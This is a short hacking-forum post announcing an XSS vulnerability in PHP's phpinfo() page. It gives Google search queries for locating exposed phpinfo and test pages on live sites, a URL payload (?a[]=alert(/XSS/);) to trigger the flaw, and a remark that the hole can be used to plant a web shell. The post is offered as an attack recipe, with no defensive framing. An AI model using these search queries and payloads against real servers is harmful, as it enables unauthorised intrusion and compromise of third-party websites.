Semi New Php Vuln

4 replies [Last post]
Nu11By73
Nu11By73's picture
Offline
Erudite
Joined: 2012/01/07

I have recently found info about a new xss vulnerability in phpinfo(). Figured I'd share it here as well:

The google search:

inurl:phpinfo.php

or

inurl:test.php + intitle:phpinfo()

The xss code:

?a[]=alert(/XSS/);

This can be leveraged to plant a web shell...